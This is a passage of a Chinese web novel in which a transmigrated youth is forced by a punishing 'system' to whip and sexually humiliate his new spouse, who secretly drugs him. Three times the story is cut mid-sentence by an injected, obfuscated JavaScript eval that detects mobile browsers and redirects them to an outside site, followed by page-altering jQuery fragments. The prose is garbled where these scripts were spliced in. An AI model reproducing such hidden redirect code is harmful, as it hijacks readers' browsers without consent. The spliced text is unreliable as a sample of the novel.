《虫族之一个火葬场》 1. 嚣张的雄虫 明月悬空,婚礼当夜。 一个身影掠过守卫的兵虫,紧贴着走廊的墙,速度极快地来到一扇悬挂着勿扰牌的门前, 敲了两下门,过了三秒又敲了三下,然后是一下, 当门打开,那个身影没有任何意外之色,径直走了进去,见他所要找寻的人正双腿交叠着坐在床边,手里把玩着一把精巧的银白枪。 他关上门,身后传来一道声音: “不是说了,婚前别来找我?” 卡纳尔转过身,发现声音的主虫连头也没抬,无奈地开口道:“我也不想的,但亲爱的副统领,上面让我传句话。” “上面?” 那男人抬起枪,他的眼睛一片水蓝,宛如深邃的大海,盯着反光的枪体低低笑了一声:“有意思,统领叫你来的?” “可……可能。” 其实卡纳尔也不确定,他只是接到上级的指示,上级说是统领,但根据他的猜测,可能是领导的自作主张。 “说说看。” “呃……” 这件事实在是难以启齿,卡纳尔犹豫了一会儿,诺菲西斯便把枪搁置在床头柜,双手交叉地放在交叠的膝盖上,面带微笑地看着他:“很难说?” “不,其实……很简单,两眼一闭的事。”卡纳尔摇摇头,但显得很心虚。 诺菲西斯问:“什么事?” 见卡纳尔不回,诺菲西斯便掀起唇角,轻点膝盖说:“让我猜猜……摩拉斯来参加婚宴了?” 卡纳尔瞪大眼睛,不可思议:“你怎么知道?” 雌侍是没资格参与婚庆安排的,甚至被提前安排在房间中不许会客,摩拉斯这次来得突然,他是怎么得到消息? “最近情报部吵着要救出AS143,引入新军团,我听见了。” 诺菲西斯似笑非笑:“是你们劫狱的好机会,对吧?” 卡纳尔吞咽了一下,喉咙艰涩:“摩拉斯难得离开黑石监狱,这场婚宴不能有闪失。” “所以让我和雄虫交.配?” 卡纳尔支支吾吾:“这也是综合考虑了以后,用药的不定性因素太强,总不可能婚后也一直用药吧……但凡被发现点什么我们……” “你在教我做事?” 不敢!他怎么敢教副统领做事啊! 卡纳尔无声呐喊,要不是通讯器里有监听,科长一直在听他的一举一动,他才不干这种触霉头的蠢事!! “没有没有,做什么事是您的自由。” 卡纳尔的目光颤颤巍巍地落在诺菲西斯覆上枪的手,雌虫的银白眼睫漫不经心地垂下,食指的指腹还卡在枪的扳机上挑弄,隐隐有蓝白色的电光蹿过枪口。 早闻他和其他副统领不太一样,前一脚愉快交流,后一脚就一枪崩开脑花 ,这次是自己与副统领首次地下交接,该不会英年早逝吧? “别紧张。” 他越想越担心,一只手突然拍了拍他的肩膀,卡纳尔回过神,见诺菲西斯站在他的身旁,声音十分有亲和力,笑眯眯地说:“我又不吃雌虫,嗯?” 手中被塞入一把枪,卡纳尔低下头,这才发现是一把玩具枪,枪体上还标注了雷索家族的飞鸟家徽,疑似雷索少爷的玩具藏品。 他松了口气,可琢磨着雌虫的话又不太对劲。 不吃雌虫,那意思是吃雄虫? 卡纳尔汗毛乍起,突然想起副统领的本体是……螳螂。 古老的虫族长河里,部分螳螂好像的确会吃配偶。 卡纳尔抖出一身鸡皮疙瘩,觉得这可太恶心了,雄虫本来就是恶心的生物,还吃? 哦不,他可不吃,吃了怕拉肚子。 等他抬起头,雌虫已经越过他打开了房门,卡纳尔惊诧道:“您去哪里?”回应他的是一道重重的关门声。 颤声震耳。 卡纳尔下意识地一抖,目瞪口呆地看着震颤的房门,等缓过来,意识到副统领应该是生气了,只是没有说出来,他拿着那把玩具枪是对情报部的警告。 到底还是得罪了雌虫。 卡纳尔拍着自己的胸脯,冷静了一下,就将刚才的事汇报进通讯器里。 科长本虫也该听完了全程。 “该说的我都说了,副统领不愿意。”卡纳尔说。 他压下后怕与怒意,声音沉沉地指出:“你让副统领假戏真做,这不现实。还有,让我亲自过来也很危险,被发现怎么解释?” “我说了,这是统领的指示。”那边声音沙哑地回答。 虫屎的管你谁的指示! 卡纳尔恨恨磨牙,他甚至怀疑这是科长想借此除掉他的一个计谋。 “不管怎么样,你自己和统领上报吧,我要回去安排现场了。” 卡纳尔单方面关闭通讯,快速检查了一遍房间内的信号器是否安好,耗时十分钟,确定万无一失后,通过猫眼观察了一下外面,然后无声息地打开一条门缝。 走廊上静悄悄的,空无一虫。 雷索家的别墅譬如王宫主城,宴会厅离婚房有将近两千米的距离,雄虫很难在短时间来到这里。 现在,贵族和高官都在享受酒会,应该是没空去管新雌侍所呆的房间的。 卡纳尔觉得自己有些思虑过度,无奈调侃了一下,直接推开门走了出去,还把门重新关上。 “我可真是个有礼貌的好雌虫啊。”卡纳尔由衷感慨,转过头的那一瞬间,瞳孔骤缩。 “你,你……”你怎么会在这里? 看着突然出现在眼前的少年,卡纳尔第一眼,想到了牛奶。 穿着黑色金边西服的雄虫无论是脸,还是露出的那一小节手腕,都是如牛乳似得白,短裤下的小腿笔直,细腻到近距离都看不见瑕疵。当亮红色的,宛如血色宝石般的眼睛盯着他时,卡纳尔的身心都为之一颤,好像见到了漂浮在天上的虫神在向他招手。 哦……我的虫神啊。 见到如此赏心悦目的一张脸,卡纳尔不知道该感动还是感动,眼角差点落下眼泪。 没有一丝防备,没有一丝顾虑,本该在婚宴上的雄虫突然瞬移到了婚房外。 哈哈,还没有盯梢的虫报告。 “你是谁?” 雄虫声线清润,向下压着,双眼如蒙盖了层层尘埃,格外阴郁。 其实在见到雄虫的时候,卡纳尔已经为自己判下死刑,但他来不及求雌父告雄父,来不及把这些害他的雌虫全部骂一遍,喉头滚动了一下,身体条件反射地做出俯身行礼的动作:“尊贵的阁下,新婚快乐。” “我是……” 卡纳尔抬起头,不敢把紧张挂在脸上,在大脑疯狂运转下,下一秒,露出虚伪客套的微笑: “我是诺菲上尉的下官,特意找他讨一杯喜酒。” “喜酒?” 雄虫琢磨着两个字,看不出眼底的情绪。 卡纳尔心脏乱跳,表面镇定道:“是的,因为我一直找不到对象,古老的虫族典籍上说,新婚雌虫的酒可以带来好运,所以……想向上尉取取经,只是他好像不在。” “不在你还进?” 卡纳尔一噎,是的,他刚刚还在,只是现在不在,该死,副统领可害死他了!! “我是说,上尉他刚刚还在,现在不在了。”卡纳尔的额头渗出几滴冷汗:“他去吹吹风。” “……” 雄虫沉默地盯着卡纳尔的脸,红眸中夹杂的审视,让卡纳尔的呼吸都有些错乱。 卡纳尔知道这是一个错漏百出的借口,如果是他,这种胡言乱语压根不会信一个字。 但他不敢露出一丝心虚,坦荡地回视雄虫,还故作不好意思的样子垂下头。 卡纳尔的演技还算逼真,竟从脸颊上浮现出一丝蜜汁红晕。 于是这种审查似的目光很快就消失了,雄虫移开眼,绕过他,把门打开:“好吧,那你加油试试。” “如果有这个可能的话。” 门毫不留情地在卡纳尔的眼前关上。或许是把卡纳尔当成了想要爬床的雌虫,雄虫的语气冷淡又刻薄。 卡纳尔平时最瞧不上这种嚣张的雄虫,可也庆幸雄虫没有多想,心里骂骂咧咧地说他没有眼光,但身体诚实地融入墙壁里,抓紧时间走出这个危险的地方。 门后的雌虫走远,雄虫表情依旧如常, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921446|160369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但眉眼间带着些缕疲惫。 他抿着唇摇晃地向床走去,一趴上床,瞬间天旋地转,从脖子到下巴处迅速蔓延出淡淡的粉色。 强撑到现在的身体已经支持不了他大范围的移动,当仰躺在柔软的床上,伽尔一只手放在额前,遮住头顶上的光,回想今天发生的一切。 他穿越了,穿越到一个虫族世界里。 当他清醒过来,眼前就是流水的宾客,和围绕着他的贵族。 “恭喜您啊,伽尔少爷。” “新婚快乐!” “希望您能度过一个美好的夜晚。” “……” 嘈杂的话语紊乱无序地从脑海中飘过,伽尔闭上眼睛,梳理脑海中的记忆。 事实上,他直到刚才还在消化自己穿越事实。他原本是个刚毕业的高中生,暑期去便利店值夜班,突然眼前一黑来到了这里。 大量的记忆蜂拥而至,他根本没办法处理那么多信息,只能囫囵吞枣地把一部分记忆咽下去,勉强应对着宾客,喝了一杯又一杯递上来的酒,大脑愈发混沌,最后找了个借口提前离场。 「请完成主线任务:婚礼进行曲。」 哦对,脑子里还有个奇怪的系统。 伽尔抬起头,盯着空中悬浮的蓝色屏幕,看起来就像游戏系统一样的指引信息里,标注着任务目标和惩罚。 「目标:顺利和诺菲西斯度过新婚夜。」 「惩罚:电流1级。」 “你到底是什么东西?” “是你让我来这里的吗?” “我怎么样才能回到原本的世界?” 伽尔从刚开始就不停地在问,可这个发布任务的蓝色屏幕却没什么反应。 他拧了拧眉,旋即放松下来,打量周围的环境,一些支离破碎的东西钻入他的脑海。 “喂,那么大的垃圾看不到吗?我要你们有什么用?” “蓝宝石!蓝宝石!我的镜子必须是蓝色的宝石,听不懂就给我滚!” “该死的臭虫,这是我的珍藏品,你竟敢打碎?!” “……” 伽尔从接受记忆的那一刻,就知道这个身体主人的脾气不是很好。 「请注意人设!」 况且还有个提示框,时不时提醒他要保持人设,他也是照着提示框读,应付了卡纳尔·福布斯鲁克。 幸好,戏没演砸,他还获得了独处的时间。 伽尔的心情很乱,任谁在收到录取通知书后,突然穿越到其他世界,都会有点心理上的烦躁吧…… 也不知道院长和小雨他们现在怎么样,蓝星上的他是不是失踪了,他们会不会担心? 伽尔定定地望着天花板上的灯光,嘴角缓缓挤出一个笑容,这是院长教他应对问题时心情纾解的小暗示,只要微笑就没什么大不了,接着,他维持着这张脸,转头看向镜子。 如片段中看到的一样,原主的镜框镶嵌了大大小小的蓝色宝石,繁复的花纹如缠绕的藤蔓包裹着镜面。 镜子里的少年眼角下垂,漠然的眼神带着些许厌世感,细碎的卷毛被手背随意地推至发根,凌乱地散开,露出饱满白皙的额头。 他在看镜子里的少年,少年也在看他,红色的宝石眼直勾勾地盯着另一面的自己,唇角掀起阴郁的弧度,看起来像是在嘲讽眼前的人愚蠢至极。 伽尔放下勾起的唇角,镜子里的人瞬间变回冷淡的表情。 这是一幅很有「攻击力的长相」,无时无刻不透露出高高在上……眉眼的走向莫名让他熟悉,但伽尔没有细想,默默别开脸,对着镶嵌了各色宝石的墙面,回想原主的记忆。 不过可惜的是,偶尔会闪过一些只言片语的对话,但清楚的只有前几天筹办婚礼的事。 他潜意识地知道这里是虫族,至于那些背景……一概不清。 就在伽尔陷入沉思的时候,蓝色的提示框跳出,前所未有的巨型字号囊括了他所视的所有空间,其中以三个感叹号前加粗的名字最为显著。 他猛然坐起来,看到一个白色礼服的男人从门后走来。 「注意!目标:■■诺菲西斯已出现!!!」 2. 雄主=老公 「注意!目标:■■诺菲西斯已出现。」 伽迩惊讶,那么快? 他还没搞清楚状况,对面的男人便与他视线相撞。 这是一张过分俊美的脸。 眉骨深邃,轮廓凌厉,雪白的长发如一段幽幽的银月,偏生一双剑眉斜飞入鬓,与唇角微抿的弧度一同,带出几分冷意。 他身姿高挑,军裤包裹的腿格外修长,银白的腰带束紧腰肢,只一个照面,那种无缘由的气势已经沉沉地压过来,非要类比,就像是星际阅兵仪式上,站在前排优雅威严的行军标杆。 男人没有说话,看见伽迩的一瞬间只是眉心触动了一下。 伽迩紧张地攥紧床单,意识到眼前的雌虫应该和他前面遇到的卡纳尔不一样,大脑开始运转滞缓。 系统交给他的任务是度过新婚夜,伽迩原本还在剖析背后的含义,现在倒是有点明白这任务的难点在哪儿,甚至开始怀疑他真的要和这样的一个人…… 过一晚? “雄主。” 雌虫的声音出乎意料地温和舒缓,送入耳中是舒服的,而不是铿锵有力的击剑。 这个认知让伽迩的视线焦点尝试着落在雌虫身上,发现他的表情意外的柔和,那些所谓的沉重压力,如春日吹过耳畔的微风,褪尽了,更像是一场错觉。 伽迩眨了眨眼,系统的蓝屏跳转出一行新字: 「注意:虫族的雄主等同于蓝星的老公一词,请尽快代入角色,与目标角色交流!」 啊。 什么? 你在说什么。 伽迩觉得自己看不懂蓝星字了。 还没等他把这段搅动他大脑的奇怪文字认明白,雌虫踩着深色长靴向他走来,用春风似的语气问候着:“您怎么那么快回来了,是累了吗?” 伽迩瞳孔微缩,视线随着居高临下的雌虫一齐落向地面, 只见任务目标诺菲西斯正单膝跪在他的身前,用微凉的手心捧着他的脸,那双海洋便盛着他的面孔,流露出担心。 伽迩向下俯视,才发现他印象里的庄严军雌有一张微笑唇,唇角的黑痣为整体增添了流光溢彩的一笔。 “诺菲……西斯。”伽迩极其低声地喃喃这四个字,将它与这张面孔紧紧相连。 军雌勾着唇角,专注地看着他:“请您吩咐。” 此时,系统面板再次更新,标粗的符号吞噬掉前面的字,出现崭新的回复: 「伽迩抬起腿,搁在诺菲西斯的膝盖上,有气无力地说:“累死了,诺菲,给我按摩一下。”」 伽迩看到这行字,浑身一僵,让他把腿放在眼前这个人身上?别开玩笑了。 「系统提示:请尽快代入角色,与目标人物交流!」 “确实有点累。”伽迩闭了闭眼,有些泄气:“我需要一些腿部按摩。” 伽迩等待着系统接下来的反应,减少了动作的体现,他不知道算不算合格。 诺菲西斯轻笑一声,毕恭毕敬地说:“当然可以,这是我的荣幸。” 当他的腿被诺菲西斯抬起来,轻轻放在膝盖上时,系统都没有做出反应。 伽迩放松下来,确定系统的提示词是弹性的。 不用完全按照提示板上的进行。 接下来他需要考虑一下与面前这人的相处方式,最好是能避免过于亲近的……啊。 他低下头,意外地发现自己的小腿皮肤红了一块,而一只手放在红肿的边沿,俨然是罪魁祸“手”。 “真的万分抱歉。” 诺菲西斯抿着唇,一副懊恼的神情:“弄痛您了吗?” 「伽迩怒道:当然了蠢货!没有眼睛看吗!你最好祈祷床上的服侍能让我尽兴,否则决不轻饶你!」 够了,这令人尴尬的发言。 “你不会看吗?”伽迩板着脸,说话声音却很轻:“你最好让我接下来好受点,否则下场……你知道。” “抱歉,这次我会控制好力度。”诺菲西斯说。 “不用,上药吧。”伽尔别过脸,他只想快速揭过这件事,不想在别人的腿上停留太长的时间。 诺菲西斯起身拿来治疗仪,伽迩看着疑似扫描机器的东西在他的腿上划过,伤口奇迹般地消失不见,对虫族世界莫名感到惊奇。 毕竟在他们世界,扫描即治愈的机器也仅限于研发阶段,还没到推广的地步。 「伽尔轻嗤道:行了,过来,把衣服脱了,让我看看你的身体。」 伽尔面无表情地盯着提示框,是不是有点太过于混蛋了? “把外套脱了吧,不热吗?” 「警告!请维持人设!」 这都不行? 「警告!请维持人设!」 看着诺菲西斯顺从地把军装脱掉,露出里面的白色衬衫,伽迩忍不住咬牙,难不成要他脱干净吗? 「警告!请维持人设!」 “诺菲,把衣服脱完。”伽迩紧紧攥着拳头,从牙齿缝里挤出字来,不是流氓胜似流氓,这一穿越把他里外两层脸都丢没了。 诺菲西斯顿了一下,道声好,顺从地解开扣子,把衬衫从身上脱下,搁置在椅子旁。 他的外形纤细,脱掉衣服下的肉.体格外精壮。军雌微笑着看他:“雄主,您满意吗?” 这都没有生气? 伽迩内心十分愧疚,默默给雌虫贴上好人的标签,但烦人的系统又一次出现在眼前: 「伽尔满意地点点头:不错,跪下来,对,跪在我的脚边。」 救命。 伽迩摆出扑克脸,试图和系统讲道理:你不要得寸进尺。 系统回应他的只有一句:警告!请维持人设! 人在屋檐下,不得不低头。 伽迩的目光停留在惩罚后的电流上,选择听从命运的安排:“不错,跪……在我的脚边。” 诺菲西斯从善如流地说“好”,下一秒已经在他的腿边跪下。 「伽迩站起身,从床头柜的下面拿出一个手提皮箱,然后随手挑出一根集合了长刺的鞭子,来到雌虫面前:“唔,既然是你的第一次,先用这根试试水吧。喜欢吗?我的小甜心。” 他的脸上充斥着恶意,像一个顽劣的孩童,扬起了长鞭,狠狠抽打下去。 拍打肉.体的声音啪.啪作响。 不过短短时间,诺菲西斯的后背便分布着纵横交错的鞭痕。」 伽迩按照系统的描述去柜子下拿出一个箱子,当看到里面大大小小的器具,瞬间沉默。 这是……什么? 布满突刺的粉色长柱体,如鱼钩一般弯曲的银针,带铃铛的小巧圆环…… 竟然还有像棍棒粗细的锥形长刺? 再看看右侧排列齐整的各种鞭子,两端全是布满倒钩的深色长鞭,简直就是刑具。 相比之下,第一个鞭子简直太友好,至少外形和他认识的鞭子是一致的,突刺少,不算尖锐。 伽迩抽出那根鞭子,看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921447|160369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雌虫有些犹豫,一定要用吗?就没有什么其他规避的办法? 「警告!请尽快代入角色,与目标人物交流!长时间的滞留,系统有资格进行惩罚!请宿主注意!」 可恶,这系统根本听不懂人话! 伽迩抓紧鞭子,走过来的脚步格外沉重,他不过是犹豫了几分钟的时间,它就开始警告了。 低下头,只见雌虫隐没在长发下的修长后颈,深灰色的暗纹从脖子上的金属环深入肩胛骨,大片大片地盛开出古老旖丽的花路,透出一种诡谲的神秘。 “先用这根……你喜欢吗?” 阴影落在雌虫的头顶。 黑暗吞噬掉了灯光,悄无声息地滋生。 手持鞭子的雄虫在镜子反射下照出虚影,垂下的眼睛看起来冷淡无情,什么话从他的口中出来都看起来像是笃定,可割裂的是,声音问得毫无底气,大可有不愿意就换一根的感觉。 同样,镜子中,滑落下来的银丝遮住了雌虫的侧脸,凌乱的头发让人看不清他的表情,或许是军雌的缘故,下跪的姿势标准,微微垂着的头不会显得萎靡。他声音沙哑,如镜中那般温和地说:“只要是您选的……我都喜欢。” 系统的警告频频发声。 或许是迟来的叛逆,又或许是干脆不想助纣为虐,伽迩说完话后便开始装死,迟迟不动手。 「警告!违反人设!惩罚施行!」 一阵刺痛感从脚底窜上大脑皮层,让伽迩的面容瞬间变得苍白起来,浑身上下都发疼,这种感觉不亚于抽筋时的难受,他没有动作,反而后退一步, 「警告!违反人设!即将施行电流2级!」 他的五指攥紧了鞭子,深深嵌入鞭子倒刺间的缝隙,强行克制着什么,无意间咬破的舌头,使口腔中充斥着一股血腥味。 「警告!违反人设!即将施行电流3级!」 那种刺痛感明显增强了,肌肉不自觉地抽搐,伽迩的呼吸错乱,心脏疯狂跳动,极其心慌的感觉席卷上来,仿佛下一刻就要窒息过去。 「警告!违反人设!即将施行电流4级!」 再继续下去他一定会死,伽迩闭上眼,抬起抽搐的手,牙关直颤,下一秒将鞭子挥打在雌虫身上。 随着清脆的一声响,布满肌肉条理的后背出现了明晃晃的血痕。 「警告!」 伽迩咬着牙,又是抽下数鞭,在背上均匀地分布下文字所说的“纵横交错”。 系统的警报声停止,伽迩忍着冷汗,也生出一些火气:满意了? 雌虫一声不吭,半身挺直地暴露在空气中,任由割破的皮肉淌下蜿蜒的血流。伽迩看着那些自己留下的痕迹,手不住地哆嗦,不知道是用力过猛,还是因良心谴责而感到难受。 「伽迩欣赏着自己留下的“作品”。 许久,他半蹲下来,用力掰过雌虫的下巴,视线在后者的胸口乃至脸游动,黏腻中参杂了几分倾泻出来的冷漠,拍了拍雌虫的侧脸:“真乖啊诺菲上尉,我都不舍得打你了。” “可这么漂亮的身体……”他上下打量:“不做点什么岂不是太可惜。” “抽鞭子未免太无聊,要不这样,我们玩点别的,嗯?” “我的朋友给我传来不少有趣的视频,正好来试试看……”」 伽迩最初的茫然已经散去了些,他长久注视着提示板的话,转而是逐渐下沉的心脏。 他明白,后面——才是任务“度过新婚夜”的高潮部分。 3. 好像亲了 「伽迩的目光落在床上,目标显而易见,他眼神晦暗,声音快压抑不住兴奋:上去。」 伽迩看完提示板,按照系统的指示从上衣夹层中拿出一个黑色片机,名叫终端。由于星际时代发展迅速,他接触过类似的东西,所以上手起来很快。 原主的终端里,交流界面满屏红点,被特别分组的联系人虽然排在聊天前列,但统一挂上“蠢货”的标签。 伽迩翻看终端,整部机子就两个组:一个“蠢货”组,一个“杂虫”组,看不出具体差别。 不过系统的提示板既然提到“有趣的视频”,原主一定是看过,记录就在那些没有红点的聊天中。 伽迩点开一个“蠢货”的聊天记录,掠过前面的舔式发言,直接观看视频,声音提前调到最低。 起先内容还算正常,后期视频的内容就开始面红耳赤了。 当视频里的雌虫发出痛苦欢愉的叫声,伽迩眼疾手快地关掉视频,紧张地看向地面上跪着的雌虫。 发间还藏着他充血的耳垂,正在发烫。 幸好雌虫没什么反应,依旧如一座雕像跪着。 伽迩松了口气,闭上眼睛强行回忆那段视频里的内容,精选出关键片段。 抚摸、亲吻、脱衣、然后……迅速闭脑。 伽迩掐断后面的东西,专注于视频前面抚摸的片段,提词器里涉及到学习视频的剧情,但没说学习哪段剧情,是吧? 想到可以钻的空子,伽迩低下头,见雌虫银白的碎发汗津津地帖服在额前,唇色苍白如纸,偏偏一声不吭,露出的半张侧脸悲惨又可怜,让伽迩的胸腔如堵上巨石,实在于心不忍。 但他没办法,深吸一口气,默念自己是个人渣是个人渣,诺菲西斯是个萝卜是个萝卜,这才半蹲下来,照着系统的提示捏着雌虫的下巴转过来,目光虚晃地落在雌虫的额头:“真乖。” 然后看向床面,暗示性地说:“那么接下来……” 诺菲西斯自然也看向了床,随后了然地微笑:“我去给您换衣服。” “不。”伽迩连忙摇头。 他就随便摸摸,目标是走个过场。 等诺菲西斯如他所说的坐上床,伽迩走到雌虫面前,目光停滞在了他的额头便下不去了。 呃,嗯,然后接下来,怎么做? 伽迩目光下滑,不经意瞥到雌虫薄削的嘴唇,心想:好像是摸摸脸…… 然后呢? 然后是拉拉手。 再然后……… 伽迩的视线下移,撞上唇角的那颗漆黑的痣,脑海如宕击了似的,运转不起来。 还有什么来着? “雄主?” 学校后面的小树林,他偶然见过的,情侣之间都是怎么摸的? 好像……好像是…… 亲了。 轰隆一声,像是一颗核弹投入他的大脑,猛地炸开。 伽迩倒吸一口气,把气管吸疼了。 不是亲不是亲不是亲。 除了亲…… 对!就是摸! 伽迩心下微松,x骚扰都是以摸为前提,只要摸了就算是欺负了,很过分,但不至于毁人清白的那种。 伽迩迎面对上雌虫的脸,手向上抬起。 诶? 伽迩低下头, 怎么抬不起来。 试着握了握拳心,伽迩意外地发现自己……手软了。 抽空了力气似的,抬不起一点。 恋爱经验基本为0的雄虫,在屡试不成的情况下,机械式地抬起脸,表面上没什么表情,活似见惯了大场面,实际上…… 死手快动啊!!! 伽迩心里急得要死,哪个人渣会连摸脸都做不到,和新婚对象玩干瞪眼! 还是诺菲西斯先伸出手,握住了他垂落在腿边的手,趁他没有反应过来,猛然一拽,直接让他倒在了自己身上。 “对……” 伽迩恰好撞在雌虫隆起的胸膛上,倒吸一口凉气,不老实的嘴巴差点要说出对不起,所幸理智回归,咬下舌头硬是把这话吞下去。 等他看清楚,发现他和雌虫一起倒在床上,一只手抵在诺菲西斯的胸前,一只滑落在他的手边。 身体的热度透过单薄的内衬火急火燎地烧进了皮肤,灼得发烫,诺菲西斯抓着他的手往某个方向伸去,眼神深邃,笑容充满着难言的魅力:“您觉得怎么样?” 什么……怎么样。 伽迩张了张嘴,脑袋迷糊糊的。 手中柔韧的触感,让他的大脑宕机,甚至不知所措之下又捏了捏。 啊啊啊啊他在干什么。 “你……我……” 所有的考虑在顷刻间化为乌有,有个酷似他的小人像热锅上的蚂蚁,在烙铁上乱跑乱跳,尖声大叫。 这个走向,啊。伽迩连忙抽出手,揉了揉太阳穴,冷静,冷静下来,这何尝不算一种揩油方式。 高兴点,他变相算完成任务了吧? 就在他以为到此为止的时候,一只手臂突然搂住他的后颈,微微地将他往下带, 鼻尖的距离被拉近,彼此的呼吸开始碰撞,热浪喷洒而出,伽迩突然撞上诺菲满含笑意的眼睛,心脏忍不住地乱跳。 他们的嘴唇不过短短几厘米,随着诺菲西斯的靠近,马上就要相互碰触。 任务要以超预计的结果完成了吗——— “等,等一下——我们还没好好了解过对方就那个会不会不太好!” 伽迩突然抓住雌虫的肩膀,像个手足无措、没有章法的少年,闭着眼睛,面红耳赤地叫道: “我们才第一次见面,还不算熟悉,虽然结婚了,但也可以说没有结婚,我的意思是结婚不一定要做那种事,也可以做别的事,如果你想要,可以等我们彼此了解再做,那个也不会尴尬,你觉得呢———” 伽迩连珠炮的语速根本停不下来,等反应过来的时候,已经脱口而出: “老……老婆?” 话音刚落,伽迩大脑一片空白,完全不记得自己刚刚说过什么。 他的脑海里只残留着雌虫即将亲上来的画面,还有系统提示的:雄主=老公, 嘴巴一张,噼里啪啦地就说出一段话,脑子完全跟不上嘴。 等他终于想起自己说了什么,脸色如涂了粉刷似得白,不忍直视雌虫的脸,恨不得把自己的嘴揭下来,送给需要帮助的人。 我、的、老、天、奶! 崩、人、设、了!!!! 伽迩捂着头,盯着系统面板,无声道:系统!!再给我一次机会!!! 见证了全程的系统根本不鸟某同学的发言,在经过滋滋的电流声后,卡顿许久,发出通牒:「滋……滋。严重警告!严重警告!」 「严重违反人设!电流4级!」 伽迩的面部五官倏地扭曲起来,腹部不断地抽痛,与其说是电流,更像是有什么东西在里面抠挖。 诺菲西斯抽回神,眉心微皱,立刻把身上的雄虫推到床的一边,然后平坦地放在上面:“雄主?怎么了?是很难受吗?有哪里不舒服?” 伽迩没有说话,他疼得说不出话来,身体像煮熟的虾米蜷缩起来,冷汗从额前渗出。 等诺菲西斯拿着治疗仪过来,伽迩已经硬生生疼昏了过去,脸色苍白地倒在床上,呼吸微弱。 雌虫脚下稍停,目光落在伽迩的身上,不到片刻,酝酿出的担心如潮水褪去。 过了一会儿, 他把手上的治疗仪丢在了床上,眯起了眼睛,螳螂刻意打磨的温声细语沉落下来,平添冰冷:“倒是省了我的力气。” · 夜晚的风凉飕飕的,雄虫的房间却是四季如春的温度。 半遮半掩的月光施舍她为数不多的纯白,落在银发雌虫的脸上,更像是一种偏爱。 他哼唱着不知名的调子,随意拉扯着被子盖在伽迩身上,从盒子里抽出了几张纸巾,反复擦拭手和胸口,扔进了正在待机的垃圾桶机器的身体里。 沙哑温润的声音,如吱吖上的鸟儿叽叽喳喳地跃动,时而婉转,时而低沉。 雌虫褪去了所有的衣物,走进了浴室。 …… 一个小时后,他裹着热气出来。 伽迩已经安静地熟睡,脸上没有血色,一副虚弱至极的模样。 诺菲擦着头发,居高临下地打量后者,视线漫不经心地流过雄虫的脸。 黑发柔软地铺散在床单上,偶尔几丝与干燥的唇瓣黏连,柔软的皮肤,微颤的眼睫,纤细到能一手握住的脖颈。 光看容貌,谁能想到这样的虫会是血腥残忍的刽子手? 诺菲西斯无声无息地笑了起来,忍不住弯腰,嘴角的幅度像是牵扯着皮肉,形成夸张至极的弧度,十分愉悦。 但直起腰时,他露出的眼底没有笑意,冷冰冰地看着雄虫, 那支已经倒掉药液的细小针筒,被他包裹在拳心里,用力量压碎成再细不过的粉末,淅淅沥沥地落进机器的囊袋中。 好像也在诉说雄虫的命运。 睡吧、睡吧。 诺菲西斯笑盈盈地看着伽迩,仿佛在注视自己的爱侣,垂下的眼睫扫下温柔的光晕,却用唇语给雄虫设下永远的诅咒: 最后一次好梦,宝贝。 · 伽迩醒来后,第一眼看到了悬浮在空中的系统版面。 系统的惩罚结束后,度过新婚夜的任务完成,接下来将加载新的任务。 伽迩头昏脑胀,那种可怕的刺痛感还残留在他的大脑皮层以及小腹,短时间他是不想再来一次了。 坐在沙发上的雌虫不知何时来到床边的椅子上坐着,看见伽迩清醒,先是一愣,眼中流露出喜悦:“您醒了,感觉怎么样?还难受吗?” 伽迩摇了摇头,想说:让你费心了,但回忆起电流的滋味,又说不了,烦躁地看向别处。 雄虫目光阴郁地看着窗户,诺菲西斯见状从椅子上起身,跪在地上。 “抱歉,请您责罚。” 伽迩猛然回头,这是做什么?又不是你的错。 “你先起……” 伽迩的声音戛然而止,斟酌了一下话,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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和雌虫来到楼下,晶亮的各色宝石闪瞎了伽迩的眼睛。墙壁上,家具上,桌面上,椅子上,肉眼可见的地方全部镶嵌暖色调的名贵珠宝,在阳光下折射出梦幻的色泽,已经不足以用金壁辉煌来形容。 他走下楼梯,才发现自己的认知还是过于浅显,就连桌子上的盘子边沿都有小钻石围绕当作装饰! “少,少爷,到了。” 红发雌虫拉开长桌右侧的第一个椅子,做出标准的绅士礼:“请您入座。” “雌侍先生,请,请坐少爷的右手边。” 诺菲西斯拉开椅子,对雌虫温和地说:“谢谢。” “不,不客气。” 红发雌虫低下头,退居到一旁,两只手局促地交叉在一起。 接着,有一批穿黑白仆从装的虫走上来,开始服侍伽迩和诺菲西斯用餐。 精致漂亮的亚雌为叶昕的领口系上用餐的白色领巾,老练的年轻雌虫在他的桌前摆上餐具,还有一个厨师着装的雌虫推着餐车上前,井然有序地为他上菜。 食物的香气勾出伽迩胃里的馋虫,昨晚的胃绞痛似乎把他能量一扫而空,他现在很饿,非常饿,但他还是忍住蠢蠢欲动的手,直勾勾地盯着厨师的动作。 